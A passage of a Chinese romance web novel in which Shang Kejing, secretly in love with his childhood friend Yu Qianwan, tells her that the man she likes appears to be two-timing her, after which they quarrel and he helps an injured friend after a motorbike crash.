比怀旧话先到来的是薄正卿朝商恪景身后张望的狐疑眼神,“咦,你家那活爹祖宗呢?没一起来吗?” 薄正卿是很认真的在问,发自内心的随口而出。 因在他的记忆里,商恪景和虞千绾就像是对连体婴,对外参加的朋友聚会都是要来一起来,要不来都不来的那种。而商恪景对虞千绾百般纵容,于是有了“活爹”“祖宗”这类指代。 但这种字眼听着委实充斥着揶揄,商恪景单手勾住墨镜中梁向上稍稍挑起一截,露出那双睨去的眼,“去你的。” 话落,他就松下了指,墨镜又稳稳架回高挺的鼻梁上遮住那双看似痞渣的桃花眼。 薄正卿转身与商恪景并肩而行,胳膊一抬没个正形地将手搭在他肩上,懒懒散散的边往里走边感叹,“不是吧兄弟,我都出国留学回来了,你的恋爱进度条怎么还不进反退啊?” 商恪景抓住薄正卿的手丢开,没好气扫他眼吐槽句“滚啊”就大步流星地往游艇去。 商恪景喜欢虞千绾这事在身边关系近的兄弟面前完全没有遮掩的余地,薄正卿尤其,他们三人算是发小,打小就相熟,薄正卿和虞千绾的关系也不赖,所以薄正卿很清楚异性朋友之间的亲近关心程度在哪,也更明了商恪景对虞千绾所谓的发小情谊有多虚假。 商恪景平常从不否认对虞千绾好,对她特殊,因为虞千绾也会大大方方承认商恪景是她关系最好的朋友,他自然也能大方承认,虽然他在其中怀揣了自己的心思。 但一到涉及异性感情的话题,商恪景就总会挑开话题,或以些无关痛痒的话带过,再或是装傻沉默,可这些举措骗不过清醒的旁观者。 薄正卿虽没从商恪景口中明确得到过“我是喜欢她”这类回复,但已经默默在心里这么认为很多年了,且如此直白与商恪景沟通。 起初,商恪景依旧嘴硬,并不理会薄正卿的话,但时间长了以后,时不时暗恋酸楚需要些纡解便会忍不住顺着薄正卿的话腔隐晦说些。 渐渐的,两人也就习惯了这种沟通方式。 嘴上不明确提,但皆心知肚明- 薄正卿日常是个很欢快,很喜欢交朋友的人,这次终于从国外回来,邀请了不少昔日关系近的朋友来游艇上聚,就当是接风宴。 游艇上都是熟悉的朋友,氛围欢快热闹,商恪景玩得也挺开心,但就是情不自禁的会想起虞千绾。 会想她如果在就好了。 想她如果在这应该很喜欢哪里的风景,会让他给她拍照。 想她会用她那双有神的大眼睛与他对视着笑闹。 想她…… 当下这个年纪,他们基本都是熬夜选手,晚上不睡早上不起的,今天来参加薄正卿接风宴的大多都没睡好,皆是一早硬撑着起来的。 玩了一通后倒了一小半人,困倦到不行地喊着爸爸求饶说自己得去睡会儿补觉了,不然小命就要葬送在此了,这类人很可能玩了个通宵就没怎么睡然后直接来游艇聚会的。 商恪景倒没困到那个程度,但吃完午饭后脑袋也有些想宕机,没那个精力再跟兄弟们嗨,于是自顾自找了个安静的地方待着。 估摸着这个点,虞千绾应该补完觉醒来了。 心念已久,商恪景掏出手机就点入微信,但真对着聊天框又犯了难,不知道该发什么才显得自然,思考的食指在手机侧缘一抬一落地轻敲。 日光照射到海面上,泛起一片闪到刺眼的波光粼粼。商恪景余光扫到,突然收获灵感,当即将手机软件切换为相机,而后将手机横过来将自己和海景一起容纳在屏幕里自拍。 隔着玻璃窗户拍总觉得差了点什么,商恪景找了几个角度都不太满意,索性找了片被阴凉覆盖着的甲板靠坐着超绝不经意凹起了姿势。 “咔嚓——” 拍了一张。 手机上的画面定格,商恪景饭后晕碳发懵的脑袋都陡然清醒过来。 画面中的自己实在太刻意太造作,商恪景被自己的表情尬到地呛咳了声。 光速删掉照片,重新找角度拍摄。 奈何怎么拍都不满意,甲板上又吹不到空调,商恪景都快要被逼出一身的汗,但难以辨认究竟是热得还是急得。 商恪景今天上身穿的是件半拉链款的纯黑色宽松短袖,拉链底端在胸口的位置,但他自然没拉到底,链头就随意吊在中间,居于差不多与锁骨齐平的位置。 嫌热时,商恪景手指抓住衣领往外扯了扯灌了些风进去试图散散热。 这期间,他的右手还持着手机对着自己寻找着好看的角度。 倏地,商恪景移动着的右手一停,揪着衣领的左手也顺势将衣领朝外又拽了一小截——冷白的皮肤上,平直嶙峋的左侧锁骨上,一枚虽小但黑的浑圆小痣分外惹眼。 鬼使神差的,他脑子里冒出了许多虞千绾昔日说的话: 「“商恪景,你看你看,学长眉尾的这颗痣是不是超会长!好性感啊。” “救命,这个网红的锁骨痣好涩啊,跟他那张冷淡的脸形成了强烈反差!!” “啊啊啊啊,你看这部剧!男主居然有一粒浅棕色的指尖痣,给女主讲题的时候顺势按在她桌边,看着有种纯情的欲感!”」 …… 她似乎对痣有种特殊的偏爱,明明那么小那么没有存在感的痣,在她的眼里却总能无限发散,说出一堆他感知不到的形容。 商恪景指尖沿着衣料边缘往里滑了些,将衣料挑得更开,露出完整的痣,通过手机屏幕看了片刻,他觉得自己的锁骨痣也不赖,反正比常桦那狗屁眉尾痣好看,常桦那眉尾痣都要被眉毛挡光了,没他的痣显眼漂亮。 想着想着,商恪景有些飘,还有些浪。 他突然发现如果把拉链再往下拉一些,胳膊动作稍大一点能故作无意露出锁骨那片肌肤和其下若隐若现的肌肉线条。 他至今耿耿于怀虞千绾来医院看他时他没穿上衣的事,不知虞千绾对他身材的评价究竟如何。 当下或许是个挽回形象的好机会,最重要的是,让她发现他的异性魅力。 商恪景彻底摁不住自己蠢蠢欲动的心,跟做贼似的边瞄着甲板入口处怕有人过来发现无情嘲笑,边将拉链往下拉了一小截。 好在并没人愿意过来这里——天热,大家都想待在被冷风覆盖的舱内,外面虽然能吹到海风,但这个天气吹到的海风没什么浪漫惬意,只有卷来的一层一层热浪。 生怕被兄弟抓包,商恪景这次拍照速度快了很多。 他将墨镜往脸上一遮,就不需要太注意表情,主要把含着小心机的身材、锁骨痣露出来就行,再把身后做掩的海景一起装入镜头。 因为经常和虞千绾出去旅游,给她拍美照,所以商恪景拍照技术算是练出来了,还挺不错,P图也会点,但怕太刻意被虞千绾觉察到,所以他只暗戳戳加了点不易觉察但能显得更有氛围感的滤镜。 [看!] [照片] [风景不错吧] 商恪景满揣着忐忑把照片夹在两条文字消息里发出。 照片里的他短发被风吹到拂起,自由惬意但不显凌乱,单臂张着,所以左肩那截衣料朝侧微微敞开也显得自然,唇角勾着的笑恣意且张扬,整张照片都透着扑面而来的朝气,商恪景自觉还挺满意,否则也不会把这张发给虞千绾。 不过两秒,聊天框顶端就浮现出【对方正在输入中】几个字,商恪景一口气提了起来,不自觉屏息,目不转睛盯着左下角等着虞千绾的回复。 [噗] 入眼先是这么条消息。 跟着,虞千绾引用了商恪景的那张照片,非常直白道:[商恪景你好风骚啊,现场难不成有你感兴趣的女生?瞧着好浪荡,香肩小露(挤眉弄眼.emoji)] “咳——” 现实与幻想的差别太大,商恪景感觉心口被人狠狠锤了一拳,但不疼,纯气,气得他想呕血。 商恪景一秒撤回那张照片,心里虚到不行,面上却佯装成往昔的腔调回怼过消息。 虞千绾自然也不甘示弱,持续嘲笑着他那张照片也太装模作样,像个绿茶男。 无聊的对话最后以虞千绾说要去追剧了告终。 商恪景一头抵在游艇壁边,啄木鸟似的一抬一落轻砸了几下,还伴随着心如死灰的低嚎。 事与愿违。 彻头彻尾的事与愿违。 他完全没想到的走向。 甚至于—— 她都发现他在露肩,还说他是绿茶男。 都没有意识到他在勾引她。 商恪景彻底哑了火。 她可真是一点不拿他当可发展的异性对象,纯关系铁的朋友。 …… 因为这么个插曲,商恪景一下午都没什么心思玩了,心绪格外郁结。 游艇活动结束时,他第一个下了游艇,狠狠伸了个大懒腰舒展身心。 晚上的局,薄正卿定在私人会所。 商恪景提着在游艇上特意给虞千绾打包的餐食跟着大伙一起转场。 商恪景背伤还没完全恢复好,酒能忌则忌。 兄弟们知道他有伤也不勉强他喝,反正大家在一块开开心心的就成。 一行人刚到私人会所门口,说说笑笑要往里进,却正见一行人出来。 他们站在侧面,且离门口还有一截,并未直接和那行人打照面,但圈子就这么大,高端私人会所也就那么几家,很容易遇到熟人。 这不,那群渐行渐远的人里就有熟人,“诶,那不是周映灵嘛,她好像也刚回国不久。” 商恪景听着耳边的话,顺势抬眼看过去。 本只是轻扫而过的一眼,却在看到一张熟悉面容的瞬间定住。 常桦? 商恪景神情骤变,眉头拧起,脚步也顿住。 虞千绾今早不是还约他,他说要去剧组面试角色没空出来吗? 现在怎么跟个狗腿似的巴巴跟在周映灵身边? 第15章 第 15 章 他对她的所有想法里,只…… 想着商恪景晚上回来会给她带吃的, 虞千绾便没让阿姨过来做晚饭,也没点外卖,就窝在沙发上边听剧边用手机剪辑着常桦的视频。 家门口突然响起输密码的声音,想来是商恪景回来了。 虞千绾霎时就有了饥饿感, 一秒将手机灭了屏丢在一旁, 扭过身双手都扒在沙发背上, 满眼期待望向玄关坐等他和丰盛晚餐的出现。 门被从外拉开的声音与商恪景的声音一同响起, “虞千绾!” 他似乎很急, 一刻都等不了的要让她立刻知晓,但语调给人的感觉又并非是真出大事了的样子, 喜惊各有。 “咋了?吃到什么大瓜了?” 虞千绾下意识这么想, 毕竟和朋友聚会最容易吃到瓜了,他们每次参加完聚会回来都能延伸出无数话题聊好久。 从某种程度上来说, 虞千绾的猜测是对的,但她没料到, 瓜与她自己有关, 还在那睁着一双水灵灵的大眼睛好奇又激动地看着门口。 对上这双眼,商恪景直冲的情绪骤跌,突然一个急转,“……等一下, 我换双拖鞋。” 刚刚太急于想让虞千绾知道常桦的真面目, 商恪景连鞋都忘了换,此刻借由蹲身换鞋的动作合理避开与虞千绾的对视,倒是个让他缓冲捋腹稿的好时机。 虞千绾不知情由, 只觉被商恪景吊起了吃瓜的八卦心,登时将在沙发上盘着的腿放下,踩入拖鞋往玄关处迎, “你说呀!换鞋又不耽误嘴巴。谁啊谁啊。” 虞千绾雀跃的声一个劲地往耳朵里钻,惹得商恪景回来路上的那点暗喜都消失无存,反而有些微妙的负罪感。 他对常桦不满已久,并非单单出于情敌的心思,任何一个珍视虞千绾的人详细知晓了她与常桦的相处模式都不会想让她继续吃亏下去,商恪景虽未和常桦真正认识过,但他从虞千绾的描述、日常状态中、账号视频里将常桦这个人了解了个七八成。 不可否认,常桦对虞千绾绝对是特殊的,也给过她不少明里暗里的回应,不然不可能把虞千绾迷得晕头转向,一直深陷其中拔不出来。但作为旁观者且是个男人了解男人的商恪景不认为这是喜欢,就算有,程度也太浅太浅。 利用、虚荣、价值……每一个的优先级都要高于喜欢本身。 奈何没有实证,商恪景也不能光靠着感觉去说常桦这人不行,定会惹得虞千绾不高兴,最后反倒影响了他们之间的关系,所以这些年商恪景都没提过,只会在看到自己珍视的她在别人那不被珍视时窝窝囊囊在心里给常桦扣成负分。 但在今天,他亲眼看到了常桦脚踏两条船的行为。那一秒,他是恼火的,紧跟着,又有些高兴,他想,如果把这些告诉虞千绾,以她的性格一定就不会再喜欢常桦了。虽然刚知道的那段日子会有些难熬有些伤心,但长痛不如短痛,早认清早割舍为好。 而且这样,她收回了放在常桦身上的注意力是不是就能多看到他一些…… 大抵是因为自己的心思不够纯净,掺杂了私心,在被虞千绾澄澈的眼睛笑望着时,商恪景本能地想要躲避,喉咙有些发不出声来。 但换鞋拢共就那么点时间,鞋子换好,他不得不直起身抬起头面对。 虞千绾觉察出商恪景的表情微微有些不对劲,笑颜渐收,担心又疑惑地将他上下打量了一圈,“……怎么了?” “你今天还联系过常桦吗?” “啊?” 虞千绾眉眼间困惑之色更甚,但还是老老实实回答,“有。我下午问过他去剧组面试的怎么样,顺不顺利。” “他说什么?” “他说还行。” “几点的时候?” 商恪景一个问题接着问题,语气和眼神都透着不同寻常的意味,听得虞千绾心头莫名有些慌,也更不解,“啊……你为什么突然问我这些?” 四目交视间,空气静了刹那。 喉结缓而重地滚了下,商恪景声音轻了些,坦诚道:“我今天遇到常桦了,不在什么剧组,在会所门口。” 虞千绾眼睫颤了下。 “我亲眼看到,他是跟周映灵一起出来的,他们俩之间的举止超过平常朋友的边界。而且我特意打听过了,周映灵是中午之前去的会所,在那跟人玩了大半天,一直到晚上才退了包间离开。我不知道常桦具体是几点去的,也不知道他究竟是去过剧组面试完再和周映灵待在会所玩还是压根没去剧组面试只是找借口骗你,但可以确定的是,他有旁的心思,不然他为什么有时间和周映灵在一块玩却拒绝你的邀约,并且还不敢直白告诉你?” 消息来得太快太突然,虞千绾脑袋一阵嗡嗡,有些头重脚轻跟做梦似的,但商恪景表情认真,没有丁点开玩笑的意思,她怔怔回望着他,脑海里闪过无数个画面和念头,但却抓不住任何一个,乱糟糟的。 默了须臾,理智被强撑着拽回些,“……你是几点看到他的?” 商恪景点开手机直接将和司机的聊天记录递到虞千绾面前,“我看到常桦就立即联系司机回来了,就隔了半个多小时的车程时间。” 虞千绾视线短暂眩晕了一秒,她重重闭了闭眼又迅速睁开,看清楚商恪景给司机发消息的时间点后转身往沙发去,弯腰拿起自己丢在沙发上的手机,面部自动解锁,她手指一滑,页面自动停留在她上次最后使用的页面——给常桦剪辑视频的软件。 顾不上保存剪辑好的内容,虞千绾直接切换页面进到微信查看常桦给她回消息的时间。 约莫两小时前。 虞千绾心脏宛若坠入冰冷的深潭,“我问问他,看看他怎么解释。” 她刚欲打字,商恪景的手从侧却横了过来,径直盖在了她手机屏幕上阻止了她的动作,似有些无奈的,他先是这么低低唤了她一声:“千绾……” “都这样了,你还信他的话吗?你给他发消息询问就像是没有证据的警察问犯人到底有没有犯罪,犯人怎么可能会承认?” 商恪景只气自己当时没直接拿出手机拍下常桦在周映灵身边的嘴脸,让虞千绾看清楚她眼里的那个高洁的学长有多么的庸俗。 “商恪景……我现在很乱。” 虞千绾声音轻得细若蚊吟,声线干涩绷着,“他没在今天拒绝我邀请的时候说实话我肯定是不高兴的,我也知道即使从他口中问出了答案也只是严重程度高低的差别,但我和他毕竟认识这么多年了,这种时候,我还是想听他亲口说。” 是了,一段关系的开始还是结束,都该由关系的当事人处理,是他这个在他们关系中的外人操之过急。 唇瓣抿了抿,缓缓从手机上抬起的手却格外沉,商恪景艰难将手重新垂回身侧,就在那刹,指间有些难自控地隐隐发颤。 他当即将手背在了身后,手指紧紧勾缠在一起,因为用力,手指颤得更厉害,血色也褪去泛起了白。 轻吁口气,虞千绾自己都难以琢磨自己的具体情绪,指尖也有些发木地敲下一行字发送:[学长,你现在还在剧组面试吗?] 这种时候等待的时光才是最难捱的,幸而常桦并没拖延很久,半分钟左右就给了回复:[嗯,刚结束。] 虞千绾就不是个能隐忍试探的性格,话头一开便没那耐心,直白戳穿:[刚结束?可我朋友说在会所看到你了。] 虞千绾本以为,这条消息发出去常桦会慌乱向她辩解,抑或会好一阵不回复思考对策,不料,常桦那头转瞬就出现【对方正在输入中】几个字,字消失的时候,新消息弹出: [嗯……你也知道最近全公司的注意力都放在徐正谊身上,我只能自己多跑跑剧组多接触些人脉] [今天去会所是锦凡娱乐的小周总攒了个局,现场有不少导演和制片人,也去了不少演员,想着如果能得到他们的赏识,说不准就能有个不错的戏拍。] [……说来好笑,我曾经最讨厌这样的应酬局,但这段日子我跑剧组面试的那些角色全都石沉大海,我也成了自己憎恶的样子……本来不想让你看到这样的我,没想到还是阴差阳错被你发现了……] [千绾,你对这样的我很失望吗?] 商恪景就站在虞千绾身边眼睁睁看着这些消息一条条弹出,完全意料之外的答复,他怎么也没想到常桦会说是因为工作与周映灵有牵扯,偏偏演员和娱乐公司接触合情合理,他一时间竟还反驳不出什么。 本以为的碾压局面又在常桦三言两语中回到曾经那个商恪景虽心里不爽,但拿不出证据证明常桦这人不行的形势。 分明这样的情形他已经经历很多年了,但在本以为可以改变的今日,再看到常桦发出的最后那句散发着茶味示弱的话,商恪景突然升起股没来由的委屈和难受。 就像是这些年日复一日攒下来的力量终于等到时机挥出了一拳,结果却一拳挥到了弹簧上,所有的力气一应弹回,他甚至分不清究竟是谁的力打倒在地。 然后、然后…… 整个人都卸了力,就这么躺在地上,再没有起来争斗的心力。 “啪嗒——” 一滴温热的泪冷不丁砸击到胳膊上时,虞千绾是懵的,她下意识抬头看去,只见商恪景的眼尾不知道什么时候红了,眼神满是破碎。 眉心一跳,虞千绾立即倾身去抽纸想要递给商恪景。 商恪景却先一步直接用手剐蹭去了蓄起的泪,没接虞千绾的纸巾,但眼周的湿润难掩,他顶着这么双又控制不住模糊视线的泪眼朦胧看着虞千绾,只问:“所以呢,你信谁?” 空气死寂般的沉默。 再开口,商恪景委屈的声带着哽咽,险些失了声,“我很确定,我看到了,他和周映灵之间不是正常应酬的相处方式,他们的距离很近,周映灵的手还勾在他脖子上。” 最后这话,商恪景本不想说的,他知道虞千绾会难受,所以想以最委婉的方式让她认清常桦,没想到还是不行。 虞千绾眼眶一瞬间也泛起了泪花,湿意蓄着聚集在大大的眼睛里打转却没掉落,“商恪景……” 一出声也是闷涩至极的哭腔。 两人同步都别开了视线,暂做休缓,试图压下些情绪。 她应该是哭了,商恪景看到她转过头的那瞬间抬手往脸上抹了下,估计是在擦眼泪。 见她如此,他酸胀的心也好像下起了雨。 “我肯定是相信你说的话的,不然我不会去问他,但是感情不是非对即错的数学题,喜欢一个人不是从0到100,不喜欢一个人也不可能从100突然到0,你明白吗?我也很难受很无措……” 再转过头来看向商恪景时,虞千绾脸上已有了几道泪痕,泪眼婆娑,皱巴巴忍着哭意撇着嘴唇时而发颤。 商恪景多想说他不明白,因为他意识到他喜欢上她的那一刻,就是从0到100。 但他偏又该死的很懂得爱无法从100到0,起码当下,他想象不到有一天他会不爱她,他对她的所有想法里,只有100到正无穷。无论她怎样,无论好坏,他都爱她。 他自己都做不到的事情又何必苛责她在得知的这一瞬间就做到,何况常桦不是说了吗,那只是工作上的应酬。 是,他看到了常桦和周映灵在一起动作亲昵。 但如果质问常桦,常桦也可以说那是为了工作,没办法,他也不想这样,他心里只有虞千绾。 无力极了。 商恪景自嘲地扯唇无声笑了笑,薄唇微微张合,几近无声地说了句:“行。” 他没再说什么,扭头直奔玄关,开门离开。 关门声很轻很轻,和他来时完全两个极端。 作者有话说:[可怜][可怜][可怜][爆哭][爆哭][爆哭] 两个宝宝熬过这个阶段就好了 第16章 第 16 章 取消置顶 常桦的消息虞千绾没回, 他也没再发,聊天框和周遭一样彻底的死寂了下去。 直到23点多,手机屏幕重新亮起,是常桦发来的消息, 很简约但却莫名充斥着酸楚的四个字:[我明白了] 虞千绾依旧没回, 只是眸中的雾气在加重。 她心里其实有很多话想要问, 但一想到对象是常桦, 一向勇往直前打直球的她竟第一次生出退缩之意, 除此外,还有点大不了就这样吧的无可奈何。 人与人之间相处定然会有摩擦, 虞千绾在和常桦相处时也不例外。常桦的性格要内敛些淡些, 虞千绾则始终热烈。但在今日之前,虞千绾都不觉得这样的相处有什么问题, 因为常桦虽然话少,不太主动, 可只要她开口询问, 他都会给出答案,并不会逃避话题,她一直把此当做是他们性格的互补。 可今日,看到常桦的消息后, 虞千绾突然就迷茫了。 商恪景走后她独自想了很久很久, 后知后觉意识到这样的情形早在她和常桦之间发生过多次。 虞千绾只是不太会藏心思,喜恶表现的相对明显,说起话来比较直给, 遇到问题的第一反应是面对面沟通解决,而不是没有情商,也不会无脑想到什么就说什么, 加之常桦的性格要偏敏感,所以对于某些知道他比较介意的话题,虞千绾基本是不会提的,但若是那个点会让她不舒服,她还是会在反复酝酿后指出。 每一次,虞千绾将纠结好一阵的话说出后,常桦却总能以一种轻轻淡淡的姿态轻松揭过。偏他的那种轻淡又不是不在意的轻淡,而是很符合情理的,所以他不觉得那有什么,表现的很自如。显得虞千绾如果再追问下去很小心眼,很斤斤计较。彼时的虞千绾甚至都没这么想过,她还在认为他们之间这是有效沟通,认为果然将话问出口,说开了就没什么了,否则独自想下去不仅内耗还没有任何实质上的作用。 置身其中的虞千绾还以为是自己想多了,现在的虞千绾却觉得自己心太大,想得太少了。 但能猜到和他说出后他的那套话术,虞千绾生怕自己到时候思绪又被他带着走,还反驳不出什么,索性就克制着不去联系他,不得到他坦诚的话后也不轻易回他的消息。 在他们的关系里,她主动了这么多年,这么多次,她也会累,该到他表态的时候了。 如果他只用这么只言片语就了结了他们的关系再不找她,那她……也无话可说。 因为这件突发的事,虞千绾完全忘记了自己还没吃晚饭,也没心情吃,百般酸楚地将自己闷在被窝里。 常桦和商恪景在她脑子里来回穿过,爱情和友情的难过一齐压来,心口闷到极致,她眼尾不断往外掉着泪,床头柜上放了一堆被团成团的潮湿纸巾。 哭累了,虞千绾就这么无意识蜷缩在被中睡着。 醒来后,她完全不记得自己是什么时候睡着的,只知道眼皮胀疼,很不舒服,但第一反应还是眯开哭到涩疼发干的眼睛拿起手机查看微信有没有消息。 然而没有,一条都没有。 无论是置顶的常桦还是日日聊天的商恪景,没有置顶的商恪景甚至掉到了微信的第二页,虞千绾向下滑了滑才看到他的聊天框。 鼻尖和眼眶又有些发酸,虞千绾轻呼着气,努力调节着呼吸不想再哭,但视线又不争气的模糊了,眼前雾蒙蒙一片,完全没个焦点。 手机突然弹出电量不足20%的提醒,虞千绾的视线这才重又聚焦到屏幕上。就这么盯了半分钟,她突然探手,将置顶取消。 每次一打开微信就能看到的对话框瞬间被一堆免打扰的群聊压下,但还在视线范围内,虞千绾不想看到他没有任何实际动作的聊天框,也怕自己看着看着就憋不住性子找他聊这事,一咬牙一狠心,她直接将常桦的聊天框也删除,直接让他消失在她的微信主页面。明明做得不对的人是他,这次她一定不会先找他。 但因为聊天框的取消,原本置于常桦聊天框下面的那些聊天框全部逐个向上弹了一位,最底端也弹上了一个新的聊天框,好巧不巧——是商恪景的。 莫名,胳膊昨天被商恪景眼泪砸到的那一小点肌肤泛起些说不清道不明的幻感,好像又有一滴滚烫的泪落在其上。 她点入和商恪景的聊天框,又滑出。 再点入,再滑出…… 她知道商恪景是希望她清醒点,想听她直接说她不喜欢常桦了。 她的理智也是这么告诉自己的,但是感性上没法这么快就完全丢弃掉,她的心绪还是忍不住会因为常桦有所起伏。 毕竟从高三到大四,将近四年的时间,点点滴滴的过往,很难一朝之间说放就放,总是要有些缓冲的时间,所以现在的她还没办法感性理智保持一致说出商恪景想听的话,直接去同商恪景聊天的话很难不又扯到这个话题爆发矛盾,但若明知他介意的点在哪,她却避而不谈又显得不在意他昨日的情绪。 虞千绾脑袋都快要爆炸,完全不知道怎样才好。 偏偏这两天他们还没课,连个见面的契机都没有,总不能僵持个两天都不交涉。 虞千绾咬着下唇皱着眉思忖,究竟有什么话题可以自然切入呢…… 情绪过甚,虞千绾依旧没有饥饿感,但身体扛不住,肚子发出了咕噜咕噜的声。 脑子里的某根线骤然连上,虞千绾弹坐起身,掀开被子就下床往玄关去。 果不其然,商恪景昨晚给她带回来的海鲜还放在玄关柜上——他昨日在玄关换鞋的时候顺手就把打包盒放在了上面,后来一直在聊常桦的事没空隙提,再后来闷着心绪离开更是忘了这茬,就这么一直搁置在了柜上。 他们尚是幼时就知道出去玩给对方带礼物,碰巧看到对方喜欢的物什也会买下,出来独居后给对方带吃食的次数更是多到数不胜数。 而今,这么一件稀疏平常的事却惹得虞千绾心头五味杂陈,她静静看着柜子上的打包盒,发了好久的呆才去拆开。 但可惜,在闷热的客厅里放了一夜,海鲜早凉透了,也有了腐坏的难闻气味,不能再吃了。 虞千绾遗憾至极,可又不得不再将盖子盖回,防止气味继续在家里蔓延开。 时间快至中午,阳台半开的窗户从外飘入些饭菜香,应该是楼上楼下的邻居在做饭,两股味道混杂在一起,一会儿好闻一会儿难闻的,虞千绾抬手在鼻前挥了挥试图打散这诡异的味道。 也不知道商恪景有没有吃饭…… ……这个点他应该没吃吧? 毕竟没课的时候他们这个点基本都还在睡着,就算醒了也在床上玩手机懒得起。 “不管了。” 虞千绾快步折返回屋从衣柜里迅速拿了身衣服换上,拿着手机和垃圾出门。 她打算去他们最爱吃的那家川菜馆买些商恪景爱吃的菜回来,不管他吃没吃饭,她的示好他肯定能感觉到。总归以他俩的性格肯定不能冷处理,冷着冷着就容易出大事。更何况他昨天是在为了她考虑,她不能明明看到他的情绪却不予理会,更不能让他们这么多年的友情产生隔阂。 就在虞千绾出门的二十分钟后,商恪景被乍然响起的手机铃声吵醒。 他天都快亮了才睡着,这才睡了没几个小时就被吵醒,艰难摸索过手机一看,还是薄正卿打来的,阴郁烦闷之色更甚。 商恪景接通来电,将手机靠至耳边,眼睛重新闭上,没好气,“干什么,在睡觉。” “兄弟——江湖救急啊。” 薄正卿的话腔听着不太对劲,有股子虚弱劲,说几个字还在那发出隐约的痛嘶声。 商恪景眼睛复又睁开,声音都清醒了几分,“你什么情况?” “我玩机车摔着了,现在正在医院处理伤口,你能不能过来一趟?要是被我爸妈知道我就死定了。” 薄正卿是家中独子,日后家业家财全是他一个人的,所以他的安全至关重要,若是出了点什么问题,家里就彻底绝了后,家业无人传承下去,所以他爸妈打从他一出生就不许他去接触一切危险项目,机车自然也在其中,但薄正卿就是爱玩,总背着家里人偷偷玩,哪成想今天真出了事。 “我也是服了你,你刚回国都不用倒时差吗?昨天的局才结束多久?一大早又去玩车。” “哎……就是因为没睡好,骑车的时候注意力不集中才出的事故,我甚至连和朋友约的飙车地都没到,才骑了三分之一左右……” 薄正卿既觉丢脸又觉懊悔,但事已至此也没法改变,幸而伤得不算太重保住了小命,只能先对着父母那边瞒一日是一日了,否则他怕是得拖着一身伤被爸妈混合双打,伤上加伤。 听到他摔着在医院的时候,商恪景就已经起了身,此刻将手机开了扩音放在一旁,边换衣服边问他:“哪家医院?地址发我,我现在过去。” “我马上从微信发给你,你千万保密啊!谁都别提,我只告诉了你。” 他们这个圈子太小,薄正卿生怕一个不注意就传到了他爸妈耳朵里,便只敢告诉关系最好且嘴严的商恪景。还有一点是怕被一起玩机车的朋友知道丢人,毕竟哪有人还没开始飙车,仅是正常行驶就摔成这样的……那也显得他太菜了吧。 “知道了,现在过去,你还有什么需要的全都一起发给我,我路上买了一起带去。” 薄正卿那边很虚伪的假哭了声,“感动啊兄弟。” 商恪景听到他还心情在这贫,心倒是安了不少,看来他伤得还不算重- 虞千绾回来时手上提着满满当当两大袋子的川菜,从电梯行至商恪景家门前的那一截路,她走得格外缓慢,气息提了又提,心脏忐忑地扑通扑通直跳。 脚步定在他家门前,虞千绾深呼吸了下,曲指在门上轻叩了三声。 等了半分钟,门内没传来动静,虞千绾更紧张了,换做平常她就直接开门进去了,但现在闹了些别扭,她心头有了些顾虑便没直接开门。 抬手,她又叩了叩门,依旧没动静。 也算是有了个发消息破冰的机会,虞千绾赶忙放下手里提着的餐袋,转而掏出手机点入微信,先是一个不安又示好的兔兔探头表情包: [商恪景你在家嘛?我买了右柏路的那家川菜,但想着你伤口刚好没多久,突然吃爆辣可能肠胃不适应,所以我买的是微辣,买了超级多,中午一起吃嘛?] 消息发出去,依旧好一会儿没动静。 虞千绾这才输入商恪景家门密码,推开门查看情况,只见商恪景的卧室门大敞着,拖鞋随意摆放在玄关处,大概是出门了,应该还挺急的那种,不然他不会连鞋子都没摆正——有商知珩那样一个高度洁癖的哥哥,商恪景虽然没有太重的洁癖,但自小跟在哥哥后面长大,对干净整洁这方面也有着相较于寻常人更甚的要求。 虽有所猜测,虞千绾还是朝里试探性地喊了声:“商恪景?你在家吗?” 无人应答,虞千绾倏地松了口气,幸好商恪景不是在家却不想理她故意不开门。但转瞬,心又悬了起来,好不容易想到的借口落了空,还没亲眼见到他同他说说话…… 感情啊,真令人惆怅,无论爱情还是友情。 虞千绾垂头丧气退出商恪景家,默默给他关好门,转身回到自己家。 昨晚没吃饭,今天起来后又是一阵奔波,虞千绾在川菜馆里等出菜的时候鼻尖萦绕的全是辣香,早饥肠辘辘,但想着等商恪景看到消息一起来吃,她便忍着没先吃,咕噜咕噜喝了两杯白开水垫垫肚子- 医院。 商恪景见到薄正卿的时候委实被吓得一惊,他的状态和电话里听起来完全不同,肩膀、胳膊、胸膛、腿上……基本每个部位都有着不轻的擦伤,还流了不少血,衣服好几处都被染上了颜色深浅不一的红。 幸运的是他头盔佩戴得严实,没把脑袋摔出问题,意识格外清醒。身上的伤口看起来怖人但其实都没伤着骨头,皆是外伤。就是脖子被折到了些,他一个劲嚷着说酸痛,医生给他拍了片子说没什么大问题,休养一阵就好。整体算是不幸中的万幸了。 薄正卿飙车的时候不知道惜命,现在出事了知道怕了,一个劲缠着医生问东问西,最后想着在医院有专人照料好得快些,索性让商恪景帮他订了间vip病房——如果他自己出面订病房,消息怕是很快就传到他爸妈耳朵里,只能让商恪景帮忙。 商恪景见他当下没什么大问题,也就睁只眼闭只眼帮他这把,但怕这人不长记性,泠泠扫了眼,“只此一次,下不为例啊。” “绝对不会有下次了。” 薄正卿现在满脑子都是自己突然摔倒的失控画面,当时如若道上还有别的车辆,后果不堪设想,他后怕得要命。从前他还觉得爸妈的那些唠叨很多余,玩机车的人那么多,又不是每个都会出事,现在真轮到自己出了回事,完全老实了。 事情算是暂时安定下来,商恪景紧绷的思绪也舒缓些,身心的疲惫感也重新袭回。 低头,商恪景曲着右手食指在眉心抵转,“但我劝你早些自觉和叔叔阿姨交代,你这伤得养不少日子才能完全结痂长好,你总不可能一直住在医院不回家,你还跟叔叔阿姨住在一起,很容易被发现,到时候被他们发现你下场更惨,坦白从宽抗拒从严啊。” “我也没指望能完全瞒住他们,先瞒几天让伤看着别这么吓人就成,到时候再找个旁的摔跤理由糊弄过去,反正不能让他们发现我是骑机车受的伤。” 薄正卿暗暗庆幸,“幸好我刚回国,他们这阵也不过多管我,放任我在外面玩,想来这几天不回去他们也不会怀疑什么。” 商恪景也是彻底服了薄正卿,他虽然一向知道薄正卿是个话痨,但现在伤成这样话居然还这么多,巴巴说个不停也不补觉,他听都听困了。 知道如若不阻止,薄正卿还会继续说下去,商恪景倦倦打了个哈欠,非常生硬且直白地截断,“你不是一晚上都没怎么睡吗?快睡吧,我也睡一会儿,睡到一半突然过来,困死。” “我劫后余生,脑子正处在活络的时候,睡不着。” “再啰嗦我给叔叔阿姨打电话了。” “你——” 商恪景彻底躺上另一张床,幽幽扫去一眼,作势就要拿起手机。 